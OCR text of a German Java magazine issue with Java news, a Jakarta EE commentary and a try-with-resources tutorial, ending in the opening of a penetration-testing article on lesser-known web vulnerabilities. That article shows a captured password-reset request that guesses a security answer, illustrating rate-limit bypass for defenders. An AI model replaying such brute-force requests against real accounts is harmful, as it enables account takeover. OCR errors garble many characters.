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Sicher? Sicherl

Mit dieser ersten Ausgabe des Jahres 2020 beginnt ein neues Ka-
pitel der Java aktuell; denn ab sofort und erstmals wird jede Zeit-
schrift einen Themenschwerpunkt haben. Diesem widmen sich die
Artikel im vorderen Bereich der Zeitschrift. Danach folgt wie Ublich
eine bunte Mischung aus spannenden Artikeln aus dem gesamten
Java-Themenkosmos. Die kommenden Ausgaben werden folgende
Schwerpunkte haben: 02/20 Core Java, 03/20 Mobile, 04/20 Tes-
ting, 05/20 Microservices, 06/20 Werkzeuge, Tools und Frame-
works, 01/21 Cloud und Container.

Der Schwerpunkt dieser Ausgabe 01/20 ist "Sicherheit". Ein re-
levantes Thema, das leider bei Entwicklern oftmals vollig zu kurz
kommt. Im ersten Artikel, der auf Seite 12 beginnt, prasentiert
Frank Ully, Oneconsult, nicht alltagliche Sicherheitsliicken, mit de-
nen potenzielle Angreifer groBen Schaden anrichten kénnen. Der
Experte gibt Tipps, wie Sie diese bestmdoglich schlie3en. Weiterhin
haben wir ein Interview zum Thema Datensicherheit mit Tobias

Schrodel gefihrt. Der "IT-Comedian” gibt uns darin eine Einschat-
zung, welche Sicherheitsrisiken in Zukunft immer mehr an Bedeu-
tungen gewinnen werden und welche Rolle der Mensch im Bezug
auf Sicherheit spielt.

Jatumbal! Sie wissen mit diesem Wort (noch) nichts anzufangen?
Dann wird es aber allerhdchste Zeit! Denn es ist das Leitwort zur
groBen Community-Konferenz Javaland, die jedes Jahr mehr als
2.000 Java-Fans aus aller Welt ins Phantasialand nach Briihl lockt.
Ab Seite 28 geben wir Ihnen eine Vorschau dessen, was Sie auf der
kommenden JavalLand 2020 erwartet.

AuBerdem erwarten Sie in dieser Ausgabe gleich zwei Artikel zum
Thema DevOps. Maximilian Braun, virtual7, zeigt in "DevOps?! Ger-
ne, aber richtig!", was erfolgreichen DevOps-Unternehmen zu ihrem
Erfolg verhilft und welche Fakoren Sie bei der Umsetzung dieses An-
satzes beachten sollten.

Wir wiinschen Ihnen viel SpaR® beim Lesen!
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Das Java-Tagebuch
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Das Java-Tagebuch gibt einen Uberblick iiber die
wichtigsten Geschehnisse rund um Java.

14. August 2019

Jelastic und der Zoo

Der Zoo an JDKs und JVMs wachst, wie man beispielsweise an der
Ankindigung von Jelastic sehen kann: Der PaaS- und CaaS-Betrei-
ber untersttitzt jetzt auch die Varianten von AdoptOpen)DK, Liberica,
Zulu, Corretto, Eclipse Open)9 sowie die GraalVM. Letztlich basieren
sie ja alle auf dem Open)DK und drei VMs — Hotspot, J9 und Graal-
\/M, das macht die Sache fiir den Zoowarter wieder etwas einfacher.
Grundsétzlich tut Vielfalt ja auch dem Java-Okosystem gut.

20. August 2019

Microsoft schnappt sich jClarity

Microsoft kauft den Java-Spezialisten jClarity. Das von fihrenden
Mitgliedern der London Java Community gegriindete Unterneh-
men hat sich mit Software und Beratung zum Java Performance
Tuning einen Namen gemacht, aber auch mit dem Einsatz fir
kostenlose OpenJDK Binaries im Rahmen der AdoptOpen)DK-
Initiative und darauf aufbauendem kommerziellen Support. Bei
Microsoft sollen sie sich natirlich um die Kunden der Azure-
Plattform kiimmern, aber auch um konzerneigene Services wie
den Analysedienst Azure HDInsight und — Bonus! — Minecraft.
Schon enorm, wer sich inzwischen zumindest virtuell in Redmond
tummelt. Erst im Juni war ja auch Sun- und Oracle-Urgestein Ed
Burns zu Microsoft gewechselt (das hatte ich im alten Tagebuch
tatsachlich unterschlagen).

20. August 2019

Nagel mit Kopfen

Ivar Grimstad, bislang hauptberuflicher IT Consultant bei Cybercom
und ehrenamtlicher Kopf des Jakarta-EE-Projekts, wechselt den Job.
In Zukunft ist er als ,Jakarta EE Developer Advocate” bei der Eclipse
Foundation angestellt. Das konnte dem Projekt noch mal einen
wichtigen Schub geben — und Ivar vielleicht mal ein paar Stunden
Ruhe zwischen Job und dem Einsatz fiir Jakarta EE von zuhause aus
und auf Konferenzen weltweit.

22. August 2019

Auch VMware ist auf Shoppingtour

Pivotal ist im Jahr 2012 als Ausgriindung von VMware und dem
Mutterkonzern EMC entstanden. Jetzt kauft sich der Hersteller von
Virtualisierungssoftware das Unternehmen zurtick, das Spring und
die Cloud-Foundry-Plattform im Portfolio hat. Gleichzeitig wur-
de auch die Ubernahme von Carbon Black bekannt gegeben, das
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Sicherheitssoftware fiir den ,Cloud-native”-Einsatz entwickelt.
Das sind allerdings nur die letzten Einkaufe. In den vergangenen
Monaten wurde zum Beispiel auch Bitnami, Spezialist fiir ,vorkon-
fektionierte” VM- und Container-Images, erworben.

26. August 2019

VMware und Kubernetes

Nur um das noch klarzustellen: An der Dominanz von Kubernetes
wird der Kaufrausch von VMware auch nichts mehr andern: Cloud
Foundry setzt eh seit Ladngerem statt Konkurrenzkampf auf die Inte-
gration von Kubernetes (Pivotal Container Services oder kurz PKS).
Der alte und neue Mutterkonzern hat heute die Projekte ,Pacific”
und ,Tanzu Mission Control” vorgestellt: Das eine ist die Integration
von Kubernetes in vSphere, um Container und virtuelle Maschinen
gleichermal3en auf einer einzelnen Plattform zu steuern und kon-
vergieren zu lassen. Das andere ist eine universelle Steuerungsebe-
ne fir Kubernetes-Cluster, unabhangig davon, wo diese laufen.

10. September 2019

JakartaOne mit Release von EE 8

Das Warten hat ein Ende: In einem Livestream wahrend der vir-
tuellen JakartaOne-Konferenz ist heute Jakarta EE 8 freigegeben
worden! Die Anwalte haben das Tauziehen verloren... Spa! 1.350
Teilnehmer aus aller Welt waren laut Eclipse Foundation angemel-
det. Das sogenannte ,Base Level Release” ist der eineiige Zwilling
von Java EE 8, mit identischen APIs und dem noch unangetasteten
Javax.*"-Namespace — aber als vollstandiges Open-Source-Projekt
bei der Eclipse Foundation. Damit haben fiir Java EE 8 zertifizierte
Produkte den denkbar einfachsten Migrationspfad Richtung Jakarta.
Mit GlassFish 5.1 und Open Liberty 19.0.0.6 sind auch bereits zwei
Anwendungsserver (,lightweight frameworks for cloud-native Java
microservices” heiBBen die ja jetzt) offiziell als Jakarta-EE-kompati-
bel zertifiziert. Ab jetzt konnen neue Features hinzugefiigt werden,
in Jakarta EE 9 und hoffentlich noch vielen weiteren Releases. Ne-
ben der Release-Feier und Vortragen zu Details von Jakarta bot die
Konferenz auch Raum fiir benachbarte Themen wie nattirlich Micro-
Profile, aber auch zu den Micro-Frameworks Quarkus.io und Helidon
gab es Sessions. \/ideoaufzeichnungen der Vortrage gibt es auf der
\eranstaltungswebsite /7.

10. September 2019

OpenJFX 13

Wieder einmal einige Tage vor dem neuen Java-Release ist das ge-
trennte JavaFX-Release Open)JFX 13 erschienen. Es setzt Java 11
oder hoher voraus und bietet unter anderem Unterstiitzung fir e-
Paper Displays und natives Rendering. Bei Letzterem kann Speicher
uber ein Public-API mit nativen Anwendungen geteilt werden. Damit
sollen grafikintensive Anwendungen wie CAD oder 3D-Editoren mit
JavaFX moglich werden.
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13. September 2019

WildFly 17.0.1 fiir Jakarta

Red Hat hat eine Patch-Version fir WildFly herausgebracht. In
Version 17.0.1 ist er der dritte Anwendungsserver mit offizieller
Jakarta-EE-8-Kompatibilitat. WildFly 18 kommt ja auch demnachst
heraus, aber darauf wollte man wohl nicht warten.

14. September 2019

Helidon: MicroProfile 3.0

In schneller Folge veroffentlicht Oracle neue Versionen des Micro-
service-Frameworks Helidon. Nach 1.2 mit Unterstltzung fir Mi-
croProfile 2.2 implementiert Version 1.3 jetzt zusatzlich den vollen
Umfang von MicroProfile 3.0. Da MicroProfile 3.0 jedoch nicht voll-
standig rickwartskompatibel zu 2.2 ist, muss der Entwickler beim
Bauen Uber eine Bundle Dependency entscheiden, welche der bei-
den Versionen unterstiitzt werden soll.

16. September 2019

Start der Oracle CodeOne

Die zweite Auflage der CodeOne ist gestartet. Der Nachfolger der le-
genddren JavaOne, dem anfangs viele Skepsis entgegenschlug, hat
sich doch schnell etabliert und muss sich in Bezug auf Inhalt, Betei-
ligung prominenter Speaker und ,Community Feeling” nicht verste-
cken. Die Java-Keynote steht nattirlich insbesondere im Zeichen von
Java 13, dazu spater mehr. Den lblichen ,Warm-up”-Vortrag halt
diesmal eine Doktorandin der Uni Stanford zum aktuellen Thema
Quantum Computing. ,Post-Quanten-Kryptographie” ist mein neu-
er Lieblingsbegriff, den ich daraus mitnehme. Und dass das Internet
daher nicht spontan explodieren wird (oder war es ,implodieren”?) —
sehr beruhigend. Danach geht es mit Java weiter. Zundchst wird der
Java Community Process (JCP) gefeiert, der seit 20 Jahren besteht.
Erist zwar auf SE-Themen geschrumpft, spielt dort aber weiter eine
wichtige Rolle. Bekannte Namen aus der Community auf der Bih-
ne und per Video bezeugen, wie gut das Zusammenspiel zwischen
Innovation im Open)DK und der Sicherung von Kompatibilitat und
Stabilitat durch den JCP funktioniert. Gil Tene von Azul erzahlt, dass
der schnellste JSR vor der Umstellung auf den ,Release Train” zehn
Monate gebraucht hat. Jetzt lauft alles annahernd reibungslos im
Sechs-Monats-Rhythmus.

16. September 2019

Java 13 Release

Den wichtigsten Teil der Java-Keynote auf der CodeOne nimmt die
Vorstellung von Java 13 ein, mit Uber 2.000 Fixes und kleineren
\lerbesserungen. Brian Goetz, Java Language Architect, und Mikael
Vidstedt, Director of JVM Development, stellen die neuen Features
vor und lassen sich unter anderem tiber Performance-Verbesserun-
gen bei Startup Times und dem Zero Garbage Collector aus. Die finf
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wesentlichen Features habe ich schon im letzten Tagebuch aufge-
listet, die Liste ist ja auch im Web verfiigbar /2] Zum Schluss gibt es
noch einen Ausblick auf die umfangreiche ,Pipeline”: Project Amber,
das uns in den vergangenen Releases bereits Local Type Inference,
Switch Expressions und Text Blocks gebracht hat, wird vermutlich
im nachsten Jahr Records und Sealed Types liefern; auch Pattern
Matching fiir instanceof und Switch Expressions steht an. Project
Panama (,Interconnecting JVM and native code) soll im Jahr 2020
eine Preview-Version liefern. AuBerdem — ohne Konkretes zum
Zeitplan — Project Loom, das der JVM ,Fibers” bringen soll (,light-
weight user-mode threads”), und Project Valhalla, das bereits seit
funf Jahren an Value Types und der Anpassung an moderne Hard-
ware arbeitet, in der arithmetische Berechnungen viel schneller sind
als Speicherzugriffe.

17. September 2019

Java 13: Wer ist beteiligt?

Oracles Sharat Chander listet im Blog auf, dass 70 Prozent der JIRA
Issues zu Java 13 von Oracle-Mitarbeitern geschlossen wurden. Die
Quote hat sich lber die letzten Releases reduziert (80 Prozent bei
Java 11). Das zeigt jedoch in erster Linie, dass andere Hersteller sich
stdrker engagieren. Finf Prozent der Beitrage kommen von unab-
hangigen Entwicklerinnen und Entwicklern (zwei beziehungsweise
drei Prozent in den letzten Releases) — das ist auch ein Zeichen fir
ein lebendiges Okosystem!

17. September 2019

Java 13 - alle Binaries sind schon da

Gestern wurde Java 13 vorgestellt, heute ist der Zoo an Varianten
der verschiedenen Hersteller verfiigbar. Neben Hotspot ist auch
Open)9 als Laufzeitumgebung dabei, die Binaries kénnen zum Bei-
spiel von der AdoptOpen)DK-Seite geladen werden /3/. Andererseits —
welche Entwicklerin und welcher Entwickler nutzen schon einen
Browser, wenn es auch ein API gibt /4]?

18. September 2019

New Relic unterstiitzt AdoptOpen)DK

Das AdoptOpen)DK-Projekt wachst und wachst. Mit New Relic (Ap-
plication Performance Management) ist jetzt ein weiteres Unter-
nehmen als offizieller Unterstiitzer hinzugekommen — was zum ei-
nen reines Sponsoring beinhaltet, aber auch mehr (Wo-)Manpower
fiir das Projekt.

19. September 2019

Ende der CodeOne
Die CodeOne geht schon wieder zu Ende. Etwas weniger Besucher
als letztes Jahr hatte sie wohl, aber der ,Community Spirit” war da.
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Es gab eine groRe Vielfalt an Themen: von Sprach-Features (ber
Tooling, Tipps und Tricks rund um Debugging und Performance
Tuning oder nicht-technische Themen wie Support bis hin zu den
Hype-Themen wie ,Cloud Native”. Was jedoch auch wichtig war:
Die Zukunft von Enterprise Java (also insbesondere Jakarta EE und
MicroProfile), die im Vergleich zu Java SE sicher deutlich weniger
klar ist, wurde in Podiumsdiskussionen und auf den Gangen leb-
haft diskutiert.

23. September 2019

Jakarta EE, MicroProfile, Namespaces

Jakarta EE 8 ist da, allerdings sind einige groBe Fragen rund um
Jakarta weiterhin nicht gekldrt. Zwei wesentliche Punkte sind: Ers-
tens die Diskussion um den javax-Namespace, die im Mai nach er-
folglosen juristischen Verhandlungen richtig losging, aber bislang
nicht zu einer Einigung geflhrt hat. Und zweitens das Verhaltnis
zu MicroProfile, das weiterhin nicht geklart ist. Soll MicroProfile der
.Experimentierraum” fir anschlieBende Standardisierung in Jakarta
EE sein — wie es schon mal vorgeschlagen wurde, als wir noch von
Java EE sprachen? Eine grof3e Mehrheit ist laut der letzten Umfra-
ge der Java EE Guardians dafir. Sollen die beiden Projekte sogar
vereinigt werden - logisch oder physisch? In den Mailinglisten und
Google Groups beider Projekte gibt es dazu lange, haufig emotionale
Threads. Eine Zusammenfassung der jiingeren Diskussionen ist im
Web zu finden /5]

Der jlingste Vorschlag: Phillip Kriiger, MicroProfile-Committer aus
Stdafrika, auch fir Jakarta EE aktiv, hat die beiden wesentlichen
Punkte miteinander verbunden /6} Jakarta soll einen neutralen
Package-Namen erhalten, unabhangig von seinem Markennamen,
aber auch unabhdngig vom ,Projektort” (also weder jakarta.* noch
org.eclipse.enterprise.*), und MicroProfile soll denselben Package-
Namen erhalten. Damit ware es deutlich einfacher, MicroProfile-
APIs zur Standardisierung an Jakarta EE zu tibergeben; MicroProfile
wirde dann weiter die ,stabilen” EE-APIs verwenden und sich den
ndchsten Innovationen zuwenden. Der Vorschlag ruft jedoch zum
Teil deutlich ablehnende Reaktionen hervor und es wird sichtbar,
dass es nicht so einfach ist, zwei grol3e, unabhangige Projekte mit
vielen hochmotivierten (und meinungsstarken) Leuten in eine ge-
meinsame Richtung zu lenken.

3. Oktober 2019

WildFly 18

Die nachste Major-Version von WildFly ist da; sie deckt neben dem
Umfang von Jakarta EE 8 aus 17.0.1 auch alle MicroProfile-3.0-APIs
ab, die nicht in EE 8 enthalten sind. Auch das gerade erschienene
JDK 13 wird — mehr oder weniger — bereits unterstiitzt (laut eigener
Aussage laufen die wesentlichen Testsuiten bis auf wenige Fehler
in ,vermutlich nicht haufig genutzten Bereichen” durch); empfohlen
wird aber weiterhin das aktuelle ,Long Term Support” Release 11

Referenzen
1] jakartaone.org

[

[2] http:#openjdkjava.net/projects/jdk/ 13/

[3] https:/adoptopenjdk.net/releases.html

[4] https:/apiadoptopenjdk.net

[5] https:/Zjaxenter.com/jakarta-ee-eclipse-microprofile-ongoing-

discussions-161031.html
[6] https:/www.phillip-kruger.com/post/proposed_namespace_
Jakarta_ee/
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Markus &=

H urra, hurra! Jakarta EE 8 ist da! Und wieder mal ein Grund zum
Feiern fir die Eclipse Foundation!

Die Eclipse Foundation ist schon genial. Sie hat doch tatsachlich das
Unmogliche geschafft und eine Punktlandung hingelegt und damit
alle Zweifler (wie mich) Ligen gestraft! Wie Mike Milinkovic in sei-
nem Blog /7] formuliert, hat die Eclipse Foundation mit der ,Verof-
fentlichung von Jakarta EE 8 ein neues Zeitalter der Java-Innovation
eingelautet!”. Dank der immensen Anstrengungen aller Beteiligten,
hat es — oh Wunder! — wie im Juli angekiindigt /3/auf den Tag genau
funktioniert: Exakt am 10. September, dem Tag des /2/ JakartaOne-
Livestreams, das lang ersehnte, erste echte und rein nach den Re-
geln des kirzlich gegriindeten Jakarta EE Specification Committee
zertifizierte Release von Ex-Java-EE zu veroffentlichen. Kurz darauf
sind auch gleich fertige Produkte zu haben, da bereits die ersten Ap-
plication-Server offiziell als Jakarta-kompatibel .selbst-zertifi-
ziert” sind! Yippie! Nun ist doch hoffentlich endlich, endlich alles gut!

Also gleich mal alle neuen Spezifikationsdokumente herunter-
geladen und studiert und... Moment mal... wo ist denn der Text? Ja,
genau, die sind fast alle leer, da stehen ja nur die Lizenz und der
obligatorische Urheberrechtsvermerkt! Nein, das ist kein Fehler,
sondern Absicht — nur wir Normalsterblichen halten das fiir einen
Schildburgerstreich. Denn das war ja auch schon immer so geplant,
weil man sonst den Termin ja nicht halten kann. Aha. Na gut. Stimmt
also — Punktlandung!

Aber wie steht es denn um den Rest? Nehmen wir uns doch mal
die TCKs vor. Leider sind sie entgegen der allgemeinen Erwartungs-
haltung noch nicht in einzelne Test Kits zerlegt. Auch diese hat
sich die Stiftung fir spater aufgespart. Nun hat Oracle vorgeschla-
gen /6], dass man dies durchaus gerne mal irgendwann beginnen
konne, es aber nicht zwingend in Jakarta EE 9, sondern eher noch
spater (lies: oder auch nie) fertig machen kénne. Hm, vielleicht fir
Application-Server-Hersteller angenehm, doch fiir die echten Cloud
Natives unter uns, die eigentlich gar keinen solchen Hinkelstein
mehr bendtigen und nur einen kleinen Teil der Spezifikationen nut-
zen wollen (wie zum Beispiel die beliebte Kombination CDI, JAX-RS
und JSON-B), ist das ein echter Schlag in den Magen. Die TCKs sind
namlich, auch das wird gerne verschwiegen, keineswegs von her-
ausragender Glte. Aus aktueller Projekterfahrung kann ich hierzu
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sagen, dass bereits in einem kleineren Projekt von nur acht Wochen
Laufzeit bereits mehrere offenkundige Testschwdchen im Bereich
JSON-B und JAX-RS aufgefallen sind: Tauscht man beispielsweise
die ehemaligen Referenz-Implementierungen Jersey und Yasson
gegen (ebenfalls das TCK bestehende) Alternativen aus, lauft plotz-
lich die (ebenfalls die Spezifikation einhaltende) Anwendung nicht
mehr! WORA sieht anders aus! Im konkreten Fall retteten mehre-
re selbst entwickelte und an die Community gespendete Bug Fixes
den Projekterfolg. Doch eigentlich soll ein Standard und das damit
verbundene Test Kit diesen Zustand verhindern. Das Ergebnis: Vier
Wochen Projektverzug, dafiir neue Freunde gewonnen, die sich Giber
die Bug Fixes freuten.

Nun ware das alles ja keiner Kritik wert, wenn es zumindest irgend-
einen Nutzen hatte, dieses Jakarta EE 8 Release. Doch wo soll der
stecken, im Vergleich zu der Zeit vor dem 10. September? Trotz
intensiver Nutzung der Standards und Produkte und trotz eigener
Mitarbeiter an selbigen Open-Source-Projekten konnte ich keinen
ausmachen — denn neue Features sind ja keine drin. Also habe ich
einfach mal offentlich gefragt und eine iberraschende Antwort er-
halten. TL;DR: Keinen. Natrlich sehen das die Eclipse Foundation
und deren (erhebliche Summen) zahlende Mitglieder anders. Uni-
sono sprechen sie davon, dass ,wir alle” die NutznieRRer sind. Lei-
der konnten sie mir nicht sagen, wer ,wir alle” denn sein soll und
welcher Nutzen exakt das ist. Behauptet wurde, der Spezifikations-
prozess sei nun validiert. Nun ja, leider stimmt das nicht. Denn un-
abhangige Entwickler haben sich weitgehend rausgehalten, sodass
das ganze Thema eigentlich, bis auf geringe Ausnahmen, in den
Handen von Oracle lag. Und eigentlich wollte man ja zeigen, dass
man selbst schon groR ist und das auch alleine kann. AuRerdem
war ja das Ergebnis, dass eben keinerlei Features, Spezifikationen
oder TCKs unter diesem Prozess entwickelt wurden. Von daher ist
das ein eher zweifelhafter Beweis fir funktionierende Prozesse. Es
sei denn, und nun schlieRt sich der Kreis, man wollte sowieso nur
die Fahigkeit zur Lieferung leerer PDFs, weiterhin lickenhafter und
monolithischer TCKs und Null-Feature-Sprints beweisen. Das hat ja
dann tatsachlich perfekt und 100 Prozent planungskonform funkti-
oniert. Bravo!

Insofern haken wir das Thema Jakarta EE 8 jetzt einfach ab und kon-
zentrieren uns auf Jakarta EE 9. Die Planung dazu hat Oracles Bill
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Shannon ja bereits vorgeschlagen /6 Einfach mal was wegwerfen
und sonst eher mal langsam machen. Na prima! ,Wir machen es
wie immer nur noch doller”, wie ein Kollege von mir immer zu sagen
pflegt. In diesem Sinne daher mein Gblicher Aufruf: Wenn ihr wollt,
dass sich was andert, dann wirkt bitte aktiv an den Open-Source-
Projekten mit! Alles, was ich bislang gespendet habe, ist nach kurzer
Zeit angenommen worden. Wenn also jeder Leser nur ein einziges
Feature liefert oder nur einen einzigen Bug fixt, haben wir in zwei
Wochen mehr geandert als die EF in zwei Jahren...

- .Welcome to the Future of Cloud Native
Java” / (Mike MILINKOVIC, Eclipse Fondation)
- JakartaOne Livestream (Eclipse
Foundation)

- ,Update for Jakarta EE community:
July 2019" (Tanja OBRADOVIC, Eclipse Foundation)
- Jakarta EE Compatible
Products (Eclipse Foundation)
- Jakarta EE Specifications
(Eclipse Foundation)

- Oracle’s position on Jakarta EE 9
(Bill SHANNON, Oracle)

Markus Karg
markus@headcrashing.eu
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JAX-RS hat der Sprecher der Java User Group Goldstadt von
Anfang an mitgestaltet, zunachst als freier Contributor, seit
JAX-RS 2.0 als Mitglied der Expert Groups JSR 339 und JSR 370.

Unbekannte Kostbarkeiten des SDK
Heute: try-with-resource-Statement
mit .effectively final Ressourcen

Bernd Miiller, Ostfalia
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Das Java SDK enthdilt eine Reihe von Features, die
wenig bekannt sind. Wdiren sie bekannt und wiirden
sie verwendet, kbnnten Entwickler viel Arbeit und
manchmal sogar zusdtzliche Frameworks einsparen.
Wir wollen in dieser Reihe derartige Features des SDK
vorstellen: die unbekannten Kostbarkeiten.

D as Ziel dieser Ausgabe unserer unbekannten Kostbarkeiten
ist nicht das Reduzieren von Schreibaufwand, sondern die
Verbesserung von Code-Lesbarkeit. Mit Java 9 wurde das try-with-
resource-Statement Uberarbeitet und lasst nun Ressourcen zu, die
nicht innerhalb des Statements definiert sein miissen, wenn sie
Lfinal” oder ,effectively final” sind.

Automatic Resource Management (ARM) mit Java 7
Java 7 verbesserte das automatisierte VVerwalten von Ressourcen
mit dem sogenannten try-with-resource-Statement, dessen kon-
krete syntaktische Form weder ,with" noch ,resource’ enthalt. Es
dirfte allen Java-Entwicklern bekannt sein und breite Verwendung
finden, da es verwendeten Ressourcen automatisch schlieRt und
uns so Arbeit abnimmt. Der in Listing 7 beschriebene Code-Aus-
schnitt verdeutlicht dies.

Die Klassen Scanner und PrintWriter implementieren beide das
Interface AutoClosable, sodass ihre Instanzen automatisch beim
Verlassen des Blocks geschlossen werden. Vor Java 7 musste im
Lfinally”-Teil des try-Statements zundchst geprift werden, ob die
beiden Ressourcen tatsachlich gedffnet sind, um sie dann zu schlie-
Ben. Dies kann nun komplett entfallen.

Das Beispiel kopiert lediglich eine Datei, woftr deutlich besserer Al-
ternativen existieren. Es soll hier nur dazu dienen, die Verwendung
der beiden Variablen scanner und writer zu verdeutlichen. Sie
mussen innerhalb der runden Klammern des Statements erzeugt
und mit einem Semikolon getrennt werden. Der Autor ist der Mei-
nung, dass dies der Lesbarkeit des Codes nicht guttut.

try (Scanner scanner = new Scanner(new File(FILE_TO_READ));

Finale Ressourcen

Seit Java 9 dirfen die Ressourcen des try-with-resource-State-
ments aulBerhalb des Statements definiert werden, wenn sie ,final”
oder ,effectively final” sind. Wenn man das obige Beispiel derart
Uberarbeitet, andert sich der Code wie in Listing 2 abgebildet.

Der Autor findet, dass diese Version besser lesbar ist und damit
eine hohere Code-Qualitat aufweist und hofft, dass die Leser diese
Meinung teilen.

Zusammenfassung

Seit Java 9 verlangt das try-with-resource-Statement nicht
mehr, dass die verwendeten Ressourcen innerhalb der runden
Klammern deklariert werden, sondern erlaubt deren Deklaration
auch aulRerhalb des Statements, wenn die Variablen final oder
effectively final deklariert werden. Das kommt der Lesbarkeit des
Codes zugute.

Bernd Miiller
Ostfalia
bernd.mueller@ostfalia.de

Nach seinem Studium der Informatik und der Promotion
arbeitete Bernd Miiller fiir die IBM und die HDI Informations-
systeme. Er ist Professor, Geschaftsfihrer, Autor mehrerer
Blicher zu den Themen JSF und JPA, sowie Speaker auf nati-
onalen und internationalen Konferenzen. Er engagiert sich im
iJUG und speziell in der JUG Ostfalen.

PrintWriter writer = new PrintWriter(new File(FILE_TO_WRITE))) {

while (scanner.hasNext()) f{
writer.print(scanner.nextLine());
}

Listing 1

Scanner scanner = new Scanner(new File(FILE_TO_READ));

PrintWriter writer = new PrintWriter(new File(FILE_TO_WRITE));

try (scanner; writer) {
while (scanner.hasNext()) {
writer.print(scanner.nextLine());
}

Listing 2
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Beyond OWASP Top 10 -

Unbekanntere Arten von
Schwachstellen in Web- _
anwendungen und APIs B
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Frank Ully, Oneconsult Deutschland GmbH
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Auch wenn bei der Anwendungsentwicklung grundlegende Sicherheitsliicken wie Cross-Site-Scripting (XSS)
oder SQL-Injections vermieden werden, sind Webapplikationen und Schnittstellen anfqillig fiir teilweise kuriose
Schwachstellen. Dieser Artikel stellt ausgewdhlte, unbekanntere Schwachstellenarten vor, die ein Penetration
Tester in der Berufspraxis findet, und gibt Hinweise auf gute Quellen zur Vertiefung der Inhalte.
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icherheit im Web muss beim Entwerfen und Entwickeln von
Webanwendungen und Schnittstellen von Anfang an bertick-
sichtigt werden — dieses Bewusstsein und das notwendige Wissen
werden jedoch in Studium und Kursen unzureichend vermittelt, wo-
von zahlreiche Schwachstellen in verbreiteten Anwendungen zeugen.

Im Dienste der Websicherheit -

Open Web Application Security Project (OWASP)
Das Open Web Application Security Project (OWASP) /7] ist eine
Non-Profit-Organisation, die sich auf die Fahnen geschrieben hat,
die Sicherheit von Webanwendungen zu verbessern. Dazu verof-
fentlichen die zahlreichen Freiwilligen, die zum Projekt beitragen,
unter anderem technische Dokumentationen, Softwarebibliothe-
ken und Testwerkzeuge — allesamt kostenfrei nutzbar, unter freien
Lizenzen wie Creative Commons, und sowohl bei Dokumenten als
auch bei Software in bearbeitbaren Formaten beziehungsweise im
Quelltext verflgbar.

Ihre wohl bekannteste Publikation ist die ,OWASP Top 10" eine Auf-
zahlung der zehn kritischsten Sicherheitsrisiken in Webanwendun-
gen /2] Die Liste wurde erstmals im Jahr 2003 veroffentlicht, zuletzt
2017 angepasst und ist vielen Entwicklern ein Begriff. Die nachste
Aktualisierung der Top 10 steht im Herbst 2020 an /3/.

Die ,OWASP Top 10" stellt zehn Angriffsarten auf Webanwendun-
gen vor, ihre Ursachen und welche MaBnahmen bei der Entwicklung
dagegen helfen. Die Liste beantwortet unter anderem folgende Fra-
gen: Was muss ein Entwickler beachten, wenn er Mechanismen zur
Authentifizierung und Autorisierung implementiert? Warum sind
Eingabevalidierung und Ausgabekodierung wichtige Grundlagen von
sicheren Webanwendungen? Inwiefern kann eine Anwendung von
Injektionsschwachstellen betroffen sein? Warum sollte man beim
Entwickeln auf verlassliche Komponenten von Dritten achten und
darauf, dass die Anwendung moglicherweise sicherheitsrelevante
Aktionen loggt?

Manche Anbieter gehen sogar so weit, ihre Software als ,sicher” zu
bezeichnen, weil sie ,gemals den OWASP Top 10" entwickelt worden

Burp Suite Professional v1.7.37 - Beyond OWASP - licensed to OneConsult GmbH [22 user license]

Burp Intruder Repeater Window Help Backslash

sei; nicht immer seriose Sicherheitsdienstleister bieten Tests nur
.gegen die OWASP Top 10" an und stellen danach der Anwendung
ein ,Sicherheitszertifikat” aus.

Das ist jedoch unaufrichtig, denn die Top 10 sind nach eigener
Zielsetzung kein ausfihrlicher Sicherheitsstandard /4/. Die Top-
10-Verantwortlichen selbst sehen ihre Liste als Awareness-Do-
kument, das einem breiten Publikum von Informationssicherheits-
verantwortlichen Uber Softwareprojektmanager und Entwickler
bis zu Testern grundlegende Schwachstellen zuganglich machen
soll. Deren Ursachen sollten auf jeden Fall in Webanwendungen
vermieden werden — denn das Fehlen von Sicherheitsmalinahmen
dagegen grenzt an Fahrlassigkeit.

Wie festgestellt, konnen die Top 10 also nicht alle Schwachstellen-
arten abdecken, die bei modernen Webanwendungen und Schnitt-
stellen bei einem technischen Sicherheitsaudit wie einem Web Ap-
plication Penetration Test aufgesplrt werden.

Gute Vorbereitung ist die halbe Miete -
Interception Proxy

Die Untersuchung einer Webanwendung oder Schnittstelle beginnt
sowohl fir wohlmeinende Tester als auch fiir boswillige Angreifer
in der Regel damit, einen Interception Proxy einzurichten. Der Proxy
fungiert als Man-in-the-Middle zwischen dem Browser und der An-
wendung, die angegriffen wird. Er zeichnet den gesamten HTTP(S)-
Verkehr auf und erlaubt es, Anfragen beliebig zu wiederholen oder
zu manipulieren. Der bekannteste Vertreter ist der Burp-Proxy /5],
wie in Abbildung 1 gezeigt.

Umgehung von Rate Limiting

In der Regel sollte jede Anwendung Mechanismen gegen Brute-
Force-Angriffe enthalten, mindestens an besonders sensiblen Stel-
len. Andernfalls kann ein Angreifer zum Beispiel versuchen, sich
an einer Anmeldemaske mit einem ihm bekannten individuellen
Benutzernamen — oder auch naheliegenden Standard-Accountna-
men wie ,admin” — und Passwortern aus einer Passwortliste so
lange anzumelden, bis er die richtige Kombination gefunden hat.

Injection String Scanner Settings

| JSON Beautifier | Bypass WAF [ JOSEPH |  Adcitional Scanner Checks

| wersions | Errors | CSRF | HUNT Scanner

Target | Proxy | Spider | Scanner [ Intruder [Repeater | Sequencer [ Decoder | Comparer | Extender [ Project options | User options | Alerts [ Software Vulnerability Scannel

Go: | Cancel <|v >|v

Request
[Rew | Params | Headers | Hex | |SON Beautifier |

Target: http://www.java-shop.de @L

Response

Raw | Headers | Hex

POST /rest/user/reset-password HTTP/1.1
Host : www. java-shop.de

User-Agent: Mozilla/5.0 (X11; Linux %86 64: rv:60.0) Gecko/20100101 Firefox/606.08

Accept: application/json, text/plain, */* f
Accept-Language: en-US,en;qg=0.5
Accept-Encoding: gzip, deflate

Referer: http://www. java-shop.de/

Content -Type: application/json

Content -Length: 85

Cookie: io=jiQkSn7nFi4Z0gjLAAAB; language=en; welcome-banner-status=dismiss;

cookleconsent_status=dismiss
Connection: close

{"email”:"morty@java-shop.de", "answer" : "Keineahnung2", "new" : "12345", "repeat " : " 12345

HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Access-Control-Allow-0Origin: *
X-Content -Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-RateLimit-Limit: 100

X-RateLimit -Remaining: 98

Date: Wed, 03 Jul 2019 04:33:56 GMT
X-RateLimit-Reset: 1562128567
